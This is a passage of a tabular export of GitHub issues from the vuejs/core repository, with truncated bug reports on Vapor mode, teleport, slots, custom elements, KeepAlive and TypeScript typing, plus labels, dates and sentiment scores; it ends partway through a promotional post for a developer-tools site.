https://play.vuejs.org/#eNqdUk1P3DAQ/SuuLwsSJJWoOGzDqh/i0B7aquzREsrHbDA4tmVPwqLV/ndmnGRBCDhwSTzz3ozfjN9Ofvc+G3qQS1nEOmiPIgL2Xgyld2GlrO7oj2InAmzEXmyC68SCChYH6Kfr/JTPcg64H8HK1s5G6nfj7sUF1x9h6OF4ztfOuDABiwDNgpAiH0XQxRQgdN6UCBQJUVQ9orPiW210fXeh5NT3E/+VXK1d2xoo8pGWGlAR60nldF6DgaQYHZVXrnmgshEjtNGDGE71ZupMEGWKnD5PnOhLSyQwEVZ8Jrn0nfvn8wWj3rSLpIPnejZLSkR8MBzwtTvmp3UsqXulbXOUouOvyu7TUiayPJEYaXsb3Wa30Vl6tVSrZE13aQPhr0dN21VyOXZlrDTG3f9OOX6Akzlf30B990r+Nm45p+S/ABHCAEoeMCxDCzjCl1d/YEvnA9i5pjfEfgf8D9GZnjWOtB+9bUj2M15S+ytZS9t2HS+3CDbOQ7FQZu4TX0myGq/5rdGf5J5lX1IdbZS2ONv0I7Z/xb2VIYTs+76Bo3Eocjq/cMOHvXA9QODN0BRn2Xn2+bQCLLNzuX8E+BlKxA==

### Steps to reproduce

Click the button twice

### What is expected?

Display in red font

### What is actually happening?

Display default color

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 15.06 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.133
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

It seems that there are issues with the following two areas
> https://github.com/vuejs/core/blob/3badf505cab395d2641b33b91cb50f26d61fac6c/packages/runtime-vapor/src/components/Teleport.ts#L126-L128

> https://github.com/vuejs/core/blob/3badf505cab395d264... [TRUNCATED]",":lady_beetle:  bug,scope: vapor",2026-02-25 03:24:51+00:00,2026-02-26 01:44:53+00:00,1,":lady_beetle:  bug,scope: vapor",0.9306,vapor the issue of dynamic styling in teleport when using component slots vue version beta link to click the button twice what is expected display in red font what is actually happening display default color system info any additional comments it seems that there are issues with the following two areas truncated,bug,0.3818
vuejs/core,3977427358,[Vapor] Type error when using type-based declaration for a prop passed from `createVaporApp`,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

https://github.com/paul-rouse/vue-beta-issue.git

### Steps to reproduce

```
git clone https://github.com/paul-rouse/vue-beta-issue.git
cd vue-beta-issue
npm install
npm run type-check
```

### What is expected?

Clean type check

### What is actually happening?

Error from TypeScript:

```
src/main.ts:4:16 - error TS2345: Argument of type '(__VLS_props: VNodeProps & AllowedComponentProps & ComponentCustomProps & { config: string; } & Record<string, unknown>, __VLS_ctx?: { ...; } | undefined, __VLS_exposed?: ((exposed: {}) => void) | undefined, __VLS_setup?: Promise<...>) => VNode<...> & { __ctx?: Awaited<typeof __VLS_setup>; }' is not assignable to parameter of type 'VaporComponent'.
  Type '(__VLS_props: VNodeProps & AllowedComponentProps & ComponentCustomProps & { config: string; } & Record<string, unknown>, __VLS_ctx?: { ...; } | undefined, __VLS_exposed?: ((exposed: {}) => void) | undefined, __VLS_setup?: Promise<...>) => VNode<...> & { __ctx?: Awaited<typeof __VLS_setup>; }' is not assignable to type 'FunctionalVaporComponent<{}, {}, StaticSlots, Record<string, any>>'.
    Type '(__VLS_props: VNodeProps & AllowedComponentProps & ComponentCustomProps & { config: string; } & Record<string, unknown>, __VLS_ctx?: { ...; } | undefined, __VLS_exposed?: ((exposed: {}) => void) | undefined, __VLS_setup?: Promise<...>) => VNode<...> & { __ctx?: Awaited<typeof __VLS_setup>; }' is not assignable to type '(props: Rea... [TRUNCATED]","scope: types,scope: vapor",2026-02-23 10:27:14+00:00,2026-02-25 01:07:11+00:00,1,"scope: types,scope: vapor",1.6111,vapor type error when using type based declaration for a prop passed from vue version beta link to what is expected clean type check what is actually happening error from typescript src main ts error ts argument of type vls props vnodeprops allowedcomponentprops componentcustomprops config string record vls ctx undefined vls exposed exposed void undefined vls setup promise vnode ctx awaited is not assignable to parameter of type vaporcomponent type vls props vnodeprops allowedcomponentprops componentcustomprops config string record vls ctx undefined vls exposed exposed void undefined vls setup promise vnode ctx awaited is not assignable to type functionalvaporcomponent type vls props vnodeprops allowedcomponentprops componentcustomprops config string record vls ctx undefined vls exposed exposed void undefined vls setup promise vnode ctx awaited is not assignable to type props rea truncated,bug,-0.7184
vuejs/core,3940895674,Empty forwarded slot is rendered,"### Vue version

3.4.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqlUk1P4zAQ/Ssja4800S67EuoWJEAcQOJDgMTFEjLxtBgc27KdEIT63xk7bSi0wIGbPW8+3ps3L2zfuaJtkI3ZJGLttIi4xw3ApBbK5Fd6o2lGivDRkxfOoQct7lDvcnZmobpXWno0nEH5fcHhkL0HV9pGmJRryT2BcsFgUq4Qo2+ovHIRAsbGUVszo64xUD9uVO2sj3BKDY+p6GYxe+ptDZwV5QcgCefsfxrRN6UWbIuaVdZM1ax4CNbQYl4SHc4qWzul0Z+7qKyhgWPISMKE1vbpJMeib3BrGa/usXrcEH8IXYpxduExoG+JxoBF4WcYe/jo6gw7eg9gbWWjKfsL8BKD1U3i2KcdNEYS7ZW8zPY470qZ2XU46iKasBSViKbMec7njJZ0+IX0N7rbxd9cx82ctrhh1xuObGn98nBCOon+jFYO40dXsG7/J76vwutUpWqh0iIEGjQQy/MycQftSE0J+5UkhELiVDSa9jIUpfiQ/15qEusWomnOJrnxWSPQYTqUFClycfbgznqJfgy/XQdkvJLgUZI2ACekJH/HsOM6CpAvpDf16eXetuiT6SR1u/hX/Nlh81ftnVv6

### Steps to reproduce

Have a component (`MenuItemWrapper`, in the minimal reproduction) that forwards a slot to another component (`MenuItem`). If the latter component checks whether the slot is defined (with `v-if=""$slots.default""`, for example), this check will always return `true`, even if no slot is provided when using `MenuItemWrapper`.

### What is expected?

When a component forwards a slot, but no slot is provided, `$slots.default` (or whatever the slot name is) should be empty.

### What is actually happening?

When a component forwards a slot, but no slot is provided, `$slots.default` (or whatever the slot name is) is not empty.

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (16) x64 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
    M... [TRUNCATED]",,2026-02-14 09:18:04+00:00,2026-02-22 02:42:55+00:00,2,nan,7.7256,empty forwarded slot is rendered vue version link to have a component in the that forwards a slot to another component if the latter component checks whether the slot is defined with for example this check will always return even if no slot is provided when using what is expected when a component forwards a slot but no slot is provided or whatever the slot name is should be empty what is actually happening when a component forwards a slot but no slot is provided or whatever the slot name is is not empty system info shell system os linux ubuntu lts lts noble numbat cpu x th gen intel r core tm i h ghz m truncated,others,0.2732
vuejs/core,3932202760,Regression: recent vue app using vue custom elements build with <3.5.25,"### Vue version

>3.5.25

### Link to minimal reproduction

https://github.com/vuejs/core/pull/13478

### Steps to reproduce

- create a customElement using vue 3.5.24 (not exposing `_beginPatch` & `_endPatch`.
- use the compiled component within a recent version of vue eg. 3.5.27

### What is expected?

This shouldn't break the behaviour of the ""old"" vue customElement.

### What is actually happening?

The recent renderer of vue think that the customElement is based on the same version of vue and try to call some optimized inexsitant methods on it.

### Any additional comments?

I believe that adding a safe fallback (optional chaining or check if methods exists), should be simple enough to fix the bug.

```js
if (customElement._beginPatch) {
    customElement._beginPatch()
}

// or

if (customElement) {
    customElement?._beginPatch()
}
```",,2026-02-12 14:34:38+00:00,2026-02-16 06:11:24+00:00,3,nan,3.6505,regression recent vue app using vue custom elements build with vue version link to create a customelement using vue not exposing use the compiled component within a recent version of vue eg what is expected this shouldn t break the behaviour of the old vue customelement what is actually happening the recent renderer of vue think that the customelement is based on the same version of vue and try to call some optimized inexsitant methods on it any additional comments i believe that adding a safe fallback optional chaining or check if methods exists should be simple enough to fix the bug,bug,0.8081
vuejs/core,3931964709,TS 5.9 LibCheck error,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-cofjjwcc?file=README.md&view=editor

### Steps to reproduce

Typescript 5.9 with`skibLibCheck: false` and a vue file. Then call `vue-tsc`




### What is expected?

No typescript errors.

### What is actually happening?

`error TS2578: Unused '@ts-expect-error' directive.`

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2026-02-12 13:44:00+00:00,2026-02-24 05:38:24+00:00,2,scope: types,11.6628,ts libcheck error vue version beta link to typescript with and a vue file then call what is expected no typescript errors what is actually happening system info any additional comments no response,bug,-0.8316
vuejs/core,3928039448,"Vue-Warning for ""Extraneous non-properties..."" since last update (3.5.28)","### Vue version

3.5.28

### What is actually happening?

Hi there,
since the last update from 3.5.27 to 3.5.28 i get a warning in the browser-console:
```
[Vue warn]: Extraneous non-props attributes (style) were passed to component but could not be automatically inherited because component renders fragment or text or teleport root nodes. 
  at <VueElement props= 
Object { mouse: {…}, hasParent: false, matched: undefined }
​hasParent: false
​matched: undefined
​mouse: Object { x: 0, y: 0 }
​<prototype>: Object { … }
style=""z-index: 999999; position: fixed;"" >
```
<img width=""533"" height=""224"" alt=""Image"" src=""https://github.com/user-attachments/assets/955c6277-4e71-47c5-befd-9fb567448866"" />

But i have no component used with the indicated styles...",,2026-02-11 18:33:00+00:00,2026-02-12 06:36:30+00:00,4,nan,0.5024,vue warning for extraneous non properties since last update vue version what is actually happening hi there since the last update from to i get a warning in the browser console but i have no component used with the indicated styles,others,-0.6369
vuejs/core,3917519840,Should $el function for templateRef work in Vapor,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUttu1DAQ/RVjISUrbR1QgYeSXQSoEiAVUKnEiyUUktnUxbEtX8JKUf69Y2ez3a56eUk8c87YZ2bOQD8aw/oA9IyWrrbCeOLAB0P6ymi75kp0+PdkIBY2SxIcXEFnZOXhMsZaXeigPDRkJBurO5LhXdm+6rPuzJTnlBUxim9xyhVXtVbOk861ZBXvzrMvIKUmv7WVzYtsMROEMsEj5f7LeZbykcbVXkSeL8hqTQauCNlVY2Visr6SAd7PiJbApG5z8YG9BLnA/Bg/ZTHNAPvGwO/ew4iQ8vr1ehiS3nEsC4xSdpLXn3S6AbniFHFOSTGBqf1jDHvFc6rjdF2mqSC9LA6eo0vqHerciJbdOK1wO6kpTmtkCwn2h/EC++D0bGo3YhXO7/+3lPM2wHLO19dQ/3sgf+O2McfpTwsObI+L2WO+si2gwAif//oOWzzvQWwoSGQ/AV4CzjhEjRPtU1ANyj7gJbVfk0+Eaq/c+daDcnNTUWhkjonPKdomDuqx1u/knrI3qQ43ilOcLfe8vRvYCAUXcVVHXt4ZNSGrQ17+nGUa0afDQz6Jf053Rikm5rEH/vRg40RQ/Sl7x16d/AVfsbd0vAW76z8z

### Steps to reproduce

The console.log show undefined when the code run.
I cannot se anywhere that it not should be possible,

### What is expected?

That it should be possible to use $el

### What is actually happening?

Return undefined

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-02-09 18:05:15+00:00,2026-02-10 01:26:33+00:00,1,nan,0.3065,should el function for templateref work in vapor vue version beta link to the console log show undefined when the code run i cannot se anywhere that it not should be possible what is expected that it should be possible to use el what is actually happening return undefined system info any additional comments no response,others,-0.296
vuejs/core,3914185109,Watch deep inconsistency between 3.5 and 3.6,"### Version
3.6.0-beta.5

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9klFPwjAUhf/KTV8GyRwy1AcySNTwoA9q1McmZo7LGG5t03aDZNl/97ZkMBPD23rO19tz2rXsXqmoqZHNWWIyXSgLBm2tllwUlZLaQgsaNyHsU5ttoYONlhUEtCPggotMCmOhMjksHDYKpsF4oMa9HDuZCz9kREYIo2YMiyW0XIAnoyYtayS+4aIL6dQ1opqD1SR2Y+CCoBMTzOj0P8KUhGRybEDZaWGxUmVqkVYAyXa6JH4ObevTdl0yIWlgxb0Xn81kMhjCQmYNNdsUebQzUtCN+fCcZbJSRYn6VdmCmnNGo5zjvLQs5f7Za65K2OvZFrOff/SdOTiNszeNBnWDnJ08m+oc7dFefbzggb5PZiXXdUn0BfMdjSxrl/GIPdRiTbEHnE/75N+9EPmnWR0sCtOXckEd2XmeM/oJHi9UP8edRTd+H70s3eJXg9rNpAucRXfR9dU32jS6Zd0vZ6DT3A==)







### Steps to reproduce
1. Open the reproduction
2. Check msg and msg2 in the preview tab

### What is expected?
`msg` and `msg2` stay in sync

### What is actually happening?
`msg` and `msg2` go out of sync

---
Setting a deeply watched ref to a different value, then setting the ref back to the previous value skips the watch trigger in v3.6. This works differently [compared to v3.5 behavior ](https://play.vuejs.org/#eNp9klFLwzAUhf/KJS/doHSsU4RRByp70AcV9TEgpbvrOtskJGk3KPnv3mR0qyB7a875cnNO0p49KJV0LbIly0yhK2XBoG3ViouqUVJb6EHjNoZDbosdONhq2UBEOyIuuCikMBYaU8K9xybRPJqO1HSQUy9zEYZMyIhh0k3hfgU9FxDIpMvrFonvuHAxnbpBVEuwmkQ3BS4IOjPRgk7/I8xJyGanBpSdFhYbVecWaQWQ7eYr4pfQ9yGtc9mMpJGVDl56MbPZaAiLmTXUbFuVyd5IQTcWwnNWyEZVNeo3ZStqzhmN8o738rqWh5eg+SrxoBc7LH7+0ffm6DXO3jUa1B1ydvZsrku0J3v9+YpH+j6bjdy0NdFXzA80sm59xhP22IoNxR5xIe1zePdKlF9mfbQozFDKB/WkCzxn9BM8Xal+ibtIbsI+elm6xe8OtZ9JF7hIbpP0jrlfdDrR6A==) where the watch is triggered.

The ... [TRUNCATED]",scope: reactivity,2026-02-09 02:53:29+00:00,2026-02-09 06:21:25+00:00,1,scope: reactivity,0.1444,watch deep inconsistency between and version beta play vuejs org open the reproduction check msg and msg in the preview tab what is expected and stay in sync what is actually happening and go out of sync setting a deeply watched ref to a different value then setting the ref back to the previous value skips the watch trigger in v this works differently compared to v behavior where the watch is triggered the truncated,others,0.7351
vuejs/core,3906216230,Conditionally rendered slots are ending up last in the `$slots` object,"### Vue version

v3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8Fu2zAM/RVOG5AEaO2h3XbonGBr0QHdYR26HQWsjkOnSmzJkGQ3q+F/L2VHiWOkuVHke08U+VSz70URVCWyKxaZRIvCgkFbFjMuRV4obaEGjSk0kGqVw4igo13pRuXFNh+E7uCURl+55DJR0pDUk3q+jjVMncbY6hInVI3C7ia6gw4W8yKLLdIJIFqIqg0onJfWKgnfkkwk6ylne7F325Cz2QPKBWp4nMf6EUymbBR2vE4u9HqRa88r+yvhPdGgOhfpXp40KRmFB20NORee5J7UMS5OUVKlZj+UOq36QjIvA0jUjpXCgzw7Y9bQhFOxDFZGSVpe7dCcJYQWGer7wgraAGdX0FZcLc4y9fyzzbm2z3w+ecJkfSS/MhuX4+y3RoO6oofuajbWS7Rd+fbPL9xQvCvmalFmhD5RfECjstL12MGuS7mgtnu4ttu71mdCLv+a241Fafyj2rkTsmnxnJHv3KDeevq+3cvgU8vjsqEpes8O3Q9ZLJduvSTT/wkkclNqjdLekb1jmeDBx+g5X/j69AhpPDn9CYpZXcP9fIWJDdb434w/OGebCTQN+DgKOzsfAQd99PbwNtx32mcNch15aMF/FWq3EBreZfAl+Hg+RxsHn1nzCmENddI=

### Steps to reproduce

Slots accessed via `$slots` normally preserve their order from the template:

```vue
<script setup>
import Comp from './Comp.vue';
</script>

<template>
  <Comp>
    <template #foo>foo</template>
    <template #bar>bar</template>
  </Comp>
</template>

<!-- Comp.vue -->
<template>
  <div>{{ Object.keys($slots) }}</div>
</template>
```

Rendered as:

```
[ ""foo"", ""bar"" ]
```

... unless they have `v-if` directive, even if with a constant condition. Such slots are always ending up last, and placed in the order they're rendered:

```vue
<script setup>
import Comp from './Comp.vue';
</script>

<template>
  <Comp>
    <template #foo>foo</template>
    <template #baz v-if=""true"">baz</template>
    <template #bar>bar</template>
  </Comp>
</t... [TRUNCATED]","has workaround,🔩 p2-edge-case",2026-02-06 11:07:06+00:00,2026-02-09 00:45:48+00:00,4,"has workaround,🔩 p2-edge-case",2.5685,conditionally rendered slots are ending up last in the object vue version v beta link to slots accessed via normally preserve their order from the template rendered as unless they have directive even if with a constant condition such slots are always ending up last and placed in the order they re rendered vue import comp from comp vue foo baz bar t truncated,others,0.0
vuejs/core,3900336118,make rigid  `keep-alive` more flexiable,"### Vue version

ALL

### Link to minimal reproduction

...

### Steps to reproduce

use the `keep-alive` to cache and we can **remove the cached whenever we need** without using the obstacle: `include/exclude`

### What is expected?

remove the cached in keep-alive through a much more flexiable way

### What is actually happening?

only obstacle: include/exclude 

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-02-05 08:31:42+00:00,2026-02-05 09:37:07+00:00,0,nan,0.0454,make rigid more flexiable vue version all link to use the to cache and we can remove the cached whenever we need without using the obstacle what is expected remove the cached in keep alive through a much more flexiable way what is actually happening only obstacle include exclude system info any additional comments no response,others,0.3004
vuejs/core,3897060004,`customElement._endPatch() is not a function Error` since 3.5.23,"### Vue version

3.5.27

### Link to minimal reproduction

https://github.com/lutdev/vue-custom-component-bug

### Steps to reproduce

1. Create a custom component with Vue < 3.5.23
2. Include your custom component via web component bundle to your application what is working with Vue > 3.5.23

### What is expected?

No error in console

### What is actually happening?

`customElement._endPatch() is not a function Error` 

### System Info

```shell

```

### Any additional comments?

In my opinion, the fix of the original bug is BC and shouldn't be done in patch release.
Bug - https://github.com/vuejs/core/issues/12619
Commit - https://github.com/vuejs/core/commit/c13e674fb9f92ab9339d28a862d18de460faf56e#diff-a76582b8bbc7775f5a45fe4518abb808080429939a0102d3e768dfa17be6f172R203",,2026-02-04 15:19:06+00:00,2026-02-05 00:26:33+00:00,2,nan,0.3802,since vue version link to create a custom component with vue include your custom component via web component bundle to your application what is working with vue what is expected no error in console what is actually happening system info any additional comments in my opinion the fix of the original bug is bc and shouldn t be done in patch release bug commit,bug,-0.4767
vuejs/core,3896345970,Teleport bug on conditional rendering,"### Vue version

3.5.27

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-hyda13bq?file=src%2FAboutView.vue

### Steps to reproduce

* Open reproduction link
* Click on ""Go to About""
* Observe console for error

### What is expected?

There is no error for `nextSibling` traversal on conditional rendering inside teleport component. If conditional or `v-for` loop is removed, there is no error.

### What is actually happening?

Page is unresponsive due to node traversal not being done properly

<img width=""747"" height=""189"" alt=""Image"" src=""https://github.com/user-attachments/assets/b8024a85-4146-40d0-9642-1665c9d365b8"" />

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.27 => 3.5.27
```

### Any additional comments?

I’ve already mentioned this issue in [related PR](https://github.com/vuejs/core/pull/13772#issuecomment-3840854802), but now I’ve managed to create minimal reproduction. Worth to mention this happens with SSR rendering mode.

There is also another issue but I don’t know if it’s related to this one.

If you remove every DOM node and leave only text node, then go to one link then another, you also get unrelated error. Shoul... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2026-02-04 12:38:36+00:00,2026-02-09 07:53:27+00:00,2,"scope: teleport,:hammer: p3-minor-bug",4.802,teleport bug on conditional rendering vue version link to open click on go to about observe console for error what is expected there is no error for traversal on conditional rendering inside teleport component if conditional or loop is removed there is no error what is actually happening page is unresponsive due to node traversal not being done properly system info any additional comments i ve already mentioned this issue in related pr but now i ve managed to create worth to mention this happens with ssr rendering mode there is also another issue but i don t know if it s related to this one if you remove every dom node and leave only text node then go to one link then another you also get unrelated error shoul truncated,bug,-0.8176
vuejs/core,3889396256,[VaporKeepAlive]: components of the same type cannot be switched,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFu1DAQ/ZXBl22lNgEVOFTZFQX1AEiAgKMllGZng1vHtuxJulKUf+/YbtLVqu0pmfdmxm/ezCiunCuGHsWlqELjlSMISL2DoXbWb6RRHX8JRvC4gwl23naw4oLVQn2xnXv3SBRlimJHTpCmsSYQ4FYRrGOHE/I9ns54F9pHeLVaQLJtq5Hxk1NYb2CUBlKDYqh1H/E3T5E0U3ylKrN0lssBYed0TcgRQHXTE1kDnxqtmru1FLm9FJv8U5U5ISd/R3RXWg25loE823Cudlwa3+XCTDGpjOuJyc5uUTPP40gB5VybrTjuhDrM3QHGMXkw8RTHJVV5KKYqD6YSZ4ICm7VTbXEbrOHdJZekaLhcafQ/HSk2U4rL7F/kaq3t/beExSWczXjzH5u7Z/DbsI+YFL88BvQDe7ZwVPsW2YtIX//5gXv+X0i2o48Ov0L+xmB1HzXmtM+92bLsg7yk9ms6MGXav+F6T2jCPFQUGjOnlC8Fn1t07qXRn+ReFO9THR8Ou7jc6gvX/8pdQRW0pbTs4938G9BHpdz0ovhYvD2/QaqLD2J6ALgmH4Q=

### Steps to reproduce

1. input text
2. click button

### What is expected?

switch component

### What is actually happening?

Unable to switch

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 16.59 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.110
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

The inspection found the following issues.

1. Block saved here.
> https://github.com/vuejs/core/blob/cd00cb814561c8ba7f124eeea932752dcfdf9120/packages/runtime-vapor/src/components/KeepAlive.ts#L143

2. Because the key is the same, getCachedComponent retrieves the previously saved b... [TRUNCATED]","scope: keep-alive,:exclamation: p4-important,scope: vapor",2026-02-03 06:19:08+00:00,2026-02-04 07:47:39+00:00,1,"scope: keep-alive,:exclamation: p4-important,scope: vapor",1.0615,vaporkeepalive components of the same type cannot be switched vue version beta link to input text click button what is expected switch component what is actually happening unable to switch system info any additional comments the inspection found the following issues block saved here because the key is the same getcachedcomponent retrieves the previously saved b truncated,others,0.4019
vuejs/core,3887322130,`withDefault` regression since 3.5.15,"### Vue version

3.5.27

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U99v2jAQ/ldufmmQUFDX7oWFdN3aSZu0taK8YTSZ5IC0jhPZDgVB/vedbULpfvQhSnL33fm7+z7v2HVdx+sG2ZAlJtNFbcGgbeqUq6KsK21hB2YlpKyex7iAFha6KuGMKs6OiC9VWYc4Z/HA/bmOnHHFVVYpYyEXVsDopFHUqBwXhcK851CLRmW2qBQhqucbAkc92HEFvjBeC9kglU/P+/C+DxczrlpXlQwCY+JKPxbLWgqL9AeQzBtrqd+nTBbZ04izrjFn6QN9+sbJIKB8ha/ykww92wFFk8FJU9Zn1tA4i2IZP5pK0cY8Rc4yqiok6rvazWA4GwbyLucH/u5jVjfY7+LZCrOnf8QfzcbFOLvXaFCvaY3HnBV6iTakbx9+4oa+j8myyhtJ6DeSYzSVbBzHAPtMIhDtE5xn+82rWqjlxNxuLCrTDeWIOmTr8ZyRyG5h/xv9he5FfOnrSDfaYmeQPy0HUqglSWWpjZfkaEC34MZi3tnPHx38BWC3NcJXtNkqmaTkErLOKIXJdPYx5IMDa13VhrLPhV3d4EI00pooMA1GvHeAZOeNcTWEH2I7d7GyMJioppyjns5S2B9OCpEU2jTqHbYXSoeH86czaHuvGFiShAh0s0QBd9hWgIQWNOUo8KV6l9S0Ha3g3bXWYhsXxr8jB6XL4wAAV0718fhuPAwtyO6NzGGOIBQIh3frCtgAiR+rQkWkPVX2YL+n15TMbrczzvy5LTV/64blxdp/0OS7MFxLAlNiEDJ/XR7SycTWkOwHYTsZNXWnJ8dMCo2wlNVcSNoMxQ7yvlLDqzwhKV4CDuqs9WuN2tmVzriIP8Tnl6z9DRcCndo=

### Steps to reproduce

> [!NOTE]
> I'm a little confused with the version that introduced the regression. 
> In Playground (see repro link) the behavior is broken since 3.5.15.
> In my own project, it looks like 3.5.18 is the last working version... not sure why, maybe it depends on the `vite-plugin` version as well, or something being more complex in my code than in the repro.

The situation is this: we have a component property that has an array default value, provided like this:
```ts
withDefaults(
  defineProps<{ data }>(),
  { data: () => [] }
)
```
T... [TRUNCATED]",,2026-02-02 18:20:11+00:00,2026-02-27 06:17:18+00:00,3,nan,24.498,regression since vue version link to note i m a little confused with the version that introduced the regression in playground see repro link the behavior is broken since in my own project it looks like is the last working version not sure why maybe it depends on the version as well or something being more complex in my code than in the repro the situation is this we have a component property that has an array default value provided like this t truncated,bug,0.3466
vuejs/core,3886653495,Why are component styles polluted?,"### Vue version

3.5.27

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUrFOwzAQ/RXLS5cqGWAKoRKgDjAAAoYOXiznUlwc27KdUlTl3zk7uI0EpZvv3rvzu3u3pzfWFtseaEVrL5y0gXgIvV0wLTtrXCB3prOkdaYjs6KMQaTPrpiuy7EAqRgE6KziATAipG7klgjFvb9mlCvuOkYTMEI/Twxiv0Wd2ma8zIT8qstJbzqnwQujW7kuNt5o1L2PZEYF9pAK3JMN0mjPaEUSEjGulPl8SLngepjnvHgH8fFHfuN3McfoswMPbguMHrDA3RrCCC9fH2GH7wPYmaZXyP4HfAFvVB81jrTbXjcoe8JLau/T9qVev/nlLoD2eagoNDKHxGcU3YjrOzX6Ue5FcZnqmB5wi9nJX8afs7XKvu6TsRVpufIwnDB4eghStwZpq9XqaPJZwzH04UsBQdctNJgp0r/jhEXsmYcVRhlXEQcNXuc4aLrSWB5PZ/gGFWD1pg==

### Steps to reproduce

The styles of the Comp.vue component should be isolated, but they are being polluted by ancestor class.

### What is expected?

The styles of the Comp.vue component should be isolated

### What is actually happening?

~~It works properly in Vue version <= 3.5.3.~~

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-02-02 15:46:57+00:00,2026-02-06 00:29:24+00:00,4,nan,3.3628,why are component styles polluted vue version link to the styles of the comp vue component should be isolated but they are being polluted by ancestor class what is expected the styles of the comp vue component should be isolated what is actually happening it works properly in vue version system info any additional comments no response,others,-0.9081
vuejs/core,3886045029,[VAPOR] Issue with slot rendering/scoped slot props,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNrtPYtyG8eRvzKmLyF11oIEKJISTg9LslznK/lRkSqplKmS8ViQay12EeyClKLw36+75/3E4mEnV7nIIbmzMz09PT39mgb688HzxaJ3s8oPhgePm8myWLSsydvVgt2MFvXy6WVVzOF3yz6zZT67zyb1fLFq8+kdmy3rOTuEkYeqz0+jpsmrq3zZPJ+uyrZ5Xk1fXhfldJlXonvvONEH0Tj8rwC0v9ar9joAgdrlKPw3qaumZQvVgT1BrI8+w7v2sh3RhEPWv8+fJzjvkIm38FyvqnbITsRrGHCVQ/ef3/HnO9H+CWf1h0moali1Kktn6GjSFjf5n4v8dsgOp/lsBAgdincFX87bYvIhb19Vo3GZA3LtcpVfVnf3YIG4uLrMe2V9daSXeC+07rf5xxbWLjfr6Ogee/KUY1zMmDG6dzMqV3lP48WePHmiUbsnV8kn4AQEwC6AZz3+CrdB9Sby4taH+tNL+IW0s0ZxQGIBYsKnrM+esfLokLMMoDVUT4dIGn9SSQGJgwIhmU0CoWcHCJ/2TbssqisTixMA8ct/fObPd+xxMx+V5VPZgFPePT7mjb8A9ENiSw81BddATkCWLQZsc0Fh6Es4rstKI8bh3zE9VrT8QgPuWF42OevEB8TqLhdQY3BT6U1oU+mF2BI+XO0HPaotFRP6gxXR5HBBMXo0yKVmWkcrA6okDP4QHWgAnTp5uIrmORzr74umEZu369lif/zjmnOBq1S0F4hFRvRQ5vSKalKupnlzhKKHE5EWtcFeh7EyN7YbVjQijZUYOxsBO2pqz1YVIFZXqIWeaxSPbuCnmDa5FIYdEZwFbFLWwPOwVQTAlKSH9OoQxKg9ojxq2iX1Z6BDCFNooF7AWaQoQTnCQ5vPF+WozeGJscfT4gZ/M5gRsHxyeTAav8lHy8n1i/rj+/eGZoq0Z1lzXd8iq10ecEDtaFxU0/wjwDqRbUMJndDD/x2ug3c4NHbJ5zMO505NMFoWo6wcjfMSZoGDic+v8bHpTVZNW8+Lv+daEQP5xMAl0BVGjFdtW1e8kQgDpGkWI9yIAFlonsuDp58/owwwwbI7PMcw8Onj8fLp42P4sRYa8YRNX2oCUqBAuDxgN9l1O8eF2RoT3hxL8GofIzs5z6uVXLNatd1IJLwuptO8gnekyMU7MQmfxoCvVw7EkH2gV8Jm0r0YLKuYWYuKyh6NJB83r6d5OdQDLSh2568n1yNoRpjQyzqkSnybIyRFnYWQrZNGPmQQOeIpLMN+q9Upqyi6vth2vn8/WizKT9auQndxSowmk9u84S/aCtha/cyycVlPPuiHVf6X66LNUWJkYj4btsGm0G/uvh5Oi4aoDH0sded2NERS1ndffj0pYcfgFQlW+621fHGIxam/KuvxqOw1YPyX+U/Xy1EDqoN... [TRUNCATED]",,2026-02-02 13:51:08+00:00,2026-02-04 08:08:04+00:00,2,nan,1.7618,vapor issue with slot rendering scoped slot props vue version beta link to truncated,bug,0.0
vuejs/core,3885612752,Developer Tools Integration: Free Online JSON Formatter for Vue Developers,"Hi Vue team,

I'm developing a free online developer tools platform called [AngriL DevTools](https://www.angril.com:8000) that provides essential tools for Vue developers:

- **JSON Formatter/Minifier**: Perfect for formatting API responses and state data in Vue applications
